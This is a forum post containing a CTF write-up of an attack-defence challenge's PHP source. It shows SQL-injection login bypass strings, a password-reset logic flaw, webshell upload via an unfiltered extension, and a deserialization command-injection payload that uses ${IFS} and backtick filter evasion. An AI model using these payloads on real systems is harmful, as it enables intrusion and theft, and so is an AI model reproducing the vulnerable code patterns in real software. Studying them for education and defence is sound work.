|
吾爱游客
发表于 2018-2-20 12:09
1、申 请 I D :尛潹潹
2、个人邮箱:2437978520@qq.com
3、原创技术文章: 百越杯AWD攻防源码分析---by 尛潹潹
0x00 背景:
2017.10参加百越杯CTF比赛,在AWD攻防赛中题目给出的源码,拿了源码简要分析了这道题目的考点。题目可以直接利用大致有3个漏 洞,登录接口万能密码绕过,任意重置密码漏洞,上传漏洞,以及反序列化。其中有个文件包含和 eval()代码执行的没绕过防护规则,所以没有进行分析。
0x01 万能密码:
漏洞文件:
html\lib\User.php(第16-34行)中用户名没用做任何过滤直接传递到数据库查询语句中,因此可以通 过构造万能密码 admin'or 1# 或者 'or 1# 绕过登录。
function Login(){
if (!empty($_POST['username']) and !empty($_POST['password'])){
$username=$_POST['username'];
$password=md5($_POST['password']);
$sql="select * from users where user='$username' and passwo
rd='$password'";
$result = mysql_query($sql,$this->conn);
$data = array();
//if($result && mysql_num_rows($result)>0){
if($result && mysql_num_rows($result)>0){
$data = mysql_fetch_assoc($result);
$_SESSION['username']=$username;
header("Location: ./index.php?c=User&a=home");
}else{
exit("password error!");
}
}
}
0x02 任意密码重置:
html\lib\User.php(第91-101行)在重置密码的时候仅需要用户名和新密码即可,所以可以利用这个逻 辑漏洞将admin的密码重置为新的密码,从而进行登录
function updatepass(){
if (!empty($_POST['username']) and !empty($_POST['password'])){ |
|
$username=addslashes($_POST['username']);
$password=md5($_POST['password']);
$sql="update user set password='$password' where username
='$username' ";
if (mysql_query($sql)){
$this->tp->display("success.tpl");
}
}
}
0x03 上传漏洞:
相关文件:
html.htaccess(第1行)中将xxx后缀的文件当做PHP来执行。
AddType application/x-httpd-php .html .xxx
html\lib\File.php(第15行)中采用黑名单的过滤方法并没有过滤xxx后缀的文件,因此可以直接上传
shell.xxx的webshell文件,且上传功能需要登录后才能访问。
$this->notallow=array("php", "php5", "php3", "php4", "php7", "pht", "phtml",
"htaccess","html", "swf", "htm");
html\lib\File.php(第27行)中将上传的名称重命名为用户名_文件名.文件后缀,如
admin_getflag.xxx
$path='./upload/'.$username."_".$fileinfo["filename"].".".$fileinfo["extension"];
因此可以结合万能密码或任意密码重置登录后上传webShell获得Flag
0x04 反序列化漏洞:
html\common\home.php(第34-35行)很直接的告诉我们存在反序列化漏洞,且该文件不需要登录可 以访问。
$a=@$_POST['a'];
@unserialize($a);
文件源码:
<?php
class home {
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
if (in_array($this->method, array("ping"))) { |
call_user_func_array(array($this, $this->method), $this->ar |
function ping($host){
system("ping -c 2 $host");
}
function waf($str){
$str=str_replace(' ','',$str);
return $str;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim(mysql_escape_string
($v)));
}
}
}
$a=@$_POST['a'];
@unserialize($a);
?>
源码分析:
反序列化时候首先会执行 __wakeup() 魔术方法,然后再执行 __destruct() 方法。其中 __wakeup() 使用了 waf 函数,因此整个 __wakeup() 过滤了空格,回车,换行,tab等字 符, __destruct() 中使用了 call_user_func_array() 通过回调的方式执行 ping 函数,并要 求 args 是一个数组。因此可以在 args 中传入 cat /flag 从而执行其他命令获取flag。
解题思考:
问题一: 由于本题使用了private变量,在测试的时候发现有不可视的字符所以直接用base64编码得到序列化 的字符PAYLOAD,然后在python中使用base64解码后提交,就可以得到flag;
后面查阅资料,根据如下结论可以知道private变量名前面的home需要在前后加上NULL空字符, 因 此只要在请求中使用%00代替NULL字符即可
解决方法:
\x00 + 类名 + \x00 + 变量名 反序列化出来的是private变量, \x00 + * + \x00 + 变量名 反序 列化出来的是protected变量, 而直接变量名反序列化出来的是public变量
参考自:http://0x48.pw/2016/09/13/0x22/
问题二:
__wakeup() 中使用 waf 函数过滤了空格等空白字符,导致无法直接执行 cat /flag ,这个问题首 先想到的是绕过 __wakeup() 魔术方法,后面才考虑到之前小密圈中说的利用环境变量绕过一些关 键字符的方法。
解决方法一:
当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过 __wakeup 的执行, 如,原本是O:6:”person”:1:,将1改为大于1的值即可,修改后O:6:”person”:2: ,这样就能 绕过 __wakeup() 魔术方法,从而不需要考虑空格的问题。需要PHP before 5.6.25 and 7.x before 7.0.10。
参考自:
http://www.cnbraid.com/2016/unserialize.html
https://bugs.php.net/bug.php?id=72663
https://paper.seebug.org/39/
http://www.cnblogs.com/Mrsm1th/p/6835592.html
http://www.freebuf.com/vuls/116705.html
解决方法二:
使用 ${IFS} 代替空格即可
源自P师傅小密圈中的一个问题的解答,当命令执行漏洞过滤了 空格 . / ; ` ’ > 等字符,怎么 执行任意命令?
可以通过执行env命令获取可用的环境变量,如:得到MAIL=/var/mail/root,可以使 用 ${MAIL:0:1} 或 $(expr substr $MAIL 1 1) 代替/,另外可以使用 ${IFS} 代替空 格,使用``两个反引号将关键字分割,如 c``a``t${IFS}f``lag。
参考自:https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-201610033.html
Payload:
[Url]http://xxx.xxx.xxx.xxx/common/home.php
[POST]
a=O:4:"home":2:{s:12:"%00home%00method";s:4:"ping";s:10:"%00home%00args";a:1:
{s:4:"host";s:24:"127.0.0.1;cat${IFS}/flag";}}
0x05 小总结
此时此刻突然觉得,平时多看writeup勤做笔记是非常重要的。很多考点其实在往年的CTF中就有出 现了,特别是反序列化的这个考点,拿到手时候第一想到的是绕过 __wakeup() 方法,后面翻笔记 才想到可以用之前圈内讨论的绕过空格等字符的方式执行命令,今年AWD是还考到了代码审计,后 续的赛前准备也要将代码审计的能力训练到位。
|
|
|
-
-
|
发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。 |
|
|
|
|